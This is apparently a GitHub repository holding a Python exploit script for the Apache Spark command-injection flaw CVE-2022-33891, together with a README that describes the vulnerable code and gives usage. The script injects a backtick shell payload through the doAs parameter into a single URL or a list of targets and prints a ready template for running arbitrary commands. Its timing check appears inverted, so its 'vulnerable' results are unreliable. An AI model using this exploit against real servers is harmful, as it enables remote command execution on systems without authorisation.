├── CVE-2022.33891.py ├── README.md └── demo.png /CVE-2022.33891.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import argparse 3 | 4 | def banner(): 5 | print('''\033[0;34m 6 | _____ _ _ _____ _____ _____ _____ _____ _____ _____ _____ _____ __ 7 | / __ \ | | | ___| / __ \| _ |/ __ \/ __ \ |____ ||____ | _ || _ |/ | 8 | | / \/ | | | |__ ______`' / /'| |/' |`' / /'`' / /'______ / / / /\ V / | |_| |`| | 9 | | | | | | | __|______| / / | /| | / / / / |______| \ \ \ \/ _ \ \____ | | | 10 | | \__/\ \_/ / |___ ./ /___\ |_/ /./ /___./ /___ .___/ /.___/ / |_| |.___/ /_| |_ 11 | \____/\___/\____/ \_____/ \___/ \_____/\_____/ \____/ \____/\_____/\____/ \___/ 12 | 13 | \033[0;34m[\033[0;37mScript coded by Amolo Hunters\033[0;34m] 14 | ''') 15 | 16 | def urlexploit(url): 17 | if arguments.valid: 18 | try: 19 | r = requests.get(f'{url}?doAs=`sleep 7`', verify=False, timeout=10) 20 | if r.elapsed.total_seconds() <= 8: 21 | print(f'\033[0;32m[+] \033[0;37mVulnerable: {url}?doAs=`COMMAND HERE`') 22 | except: 23 | print(f'\033[0;31m[-] \033[0;37mError trying to explore: {url}') 24 | pass 25 | else: 26 | try: 27 | r = requests.get(f'{url}?doAs=`sleep 7`', verify=False, timeout=10) 28 | if r.elapsed.total_seconds() <= 8: 29 | print(f'\033[0;32m[+] \033[0;37mVulnerable: {url}?doAs=`COMMAND HERE`') 30 | else: 31 | print(f'\033[0;31m[-] \033[0;37mNot vulnerable: {url}') 32 | except: 33 | print(f'\033[0;31m[-] \033[0;37mError trying to explore: {url}') 34 | pass 35 | 36 | def listexploit(file): 37 | if arguments.valid: 38 | f = open(file, 'r').read().splitlines() 39 | for url in f: 40 | try: 41 | r = requests.get(f'{url}?doAs=`sleep 7`', verify=False, timeout=10) 42 | if r.elapsed.total_seconds() <= 8: 43 | print(f'\033[0;32m[+] \033[0;37mVulnerable: {url}?doAs=`COMMAND HERE`') 44 | else: 45 | print(f'\033[0;31m[-] \033[0;37mNot vulnerable: {url}') 46 | except: 47 | print(f'\033[0;31m[-] \033[0;37mError trying to explore: {url}') 48 | pass 49 | else: 50 | f = open(file, 'r').read().splitlines() 51 | for url in f: 52 | try: 53 | r = requests.get(f'{url}?doAs=`sleep 7`', verify=False, timeout=10) 54 | if r.elapsed.total_seconds() <= 8: 55 | print(f'\033[0;32m[+] \033[0;37mVulnerable: {url}?doAs=`COMMAND HERE`') 56 | else: 57 | print(f'\033[0;31m[-] \033[0;37mNot vulnerable: {url}') 58 | except: 59 | print(f'\033[0;31m[-] \033[0;37mError trying to explore: {url}') 60 | pass 61 | 62 | def main(): 63 | banner() 64 | if arguments.turl: 65 | urlexploit(arguments.turl) 66 | if arguments.tlist: 67 | listexploit(arguments.tlist) 68 | 69 | if __name__ == '__main__': 70 | parser = argparse.ArgumentParser() 71 | parser.add_argument('-u','--url', action='store', help='target url', dest='turl', required=False) 72 | parser.add_argument('-l','--list', action='store', help='targets list', dest='tlist', required=False) 73 | parser.add_argument('-v', '--valid', action='store_true', help='only valid targets', dest='valid', required=False) 74 | arguments = parser.parse_args() 75 | main() 76 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

「💥」CVE-2022-33891

2 | 3 |

4 | 5 | ## Description 6 | 7 | The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name. A malicious user might then be able to reach a permission check function that will ultimately build a Unix shell command based on their input, and execute it. This will result in arbitrary shell command execution as the user Spark is currently running as. This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1. 8 | 9 | ### Vulnerable Code 10 | 11 | ``` 12 | private def getUnixGroups(username: String): Set[String] = { 13 | val cmdSeq = Seq("bash", "-c", "id -Gn " + username) 14 | // we need to get rid of the trailing "\n" from the result of command execution 15 | Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet 16 | } 17 | ``` 18 | 19 | * https://github.com/apache/spark/pull/36315/files#diff-96652ee6dcef30babdeff0aed66ced6839364ea4b22b7b5fdbedc82eb655eeb5L41 20 | 21 | ## Demo 22 | 23 | ![demo](demo.png) 24 | 25 | ## Usage 26 | 27 | ``` 28 | pip install requests 29 | git clone https://github.com/AmoloHT/CVE-2022-33891 30 | cd CVE-2022-33891 31 | python3 CVE-2022-33891.py -u http://TARGET.TLD 32 | ``` 33 | 34 | ## Reference 35 | 36 | * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-33891 37 | * https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc 38 | -------------------------------------------------------------------------------- /demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AmoloHT/CVE-2022-33891/47da4379f1301b41d2e4981125576a38f512dab7/demo.png --------------------------------------------------------------------------------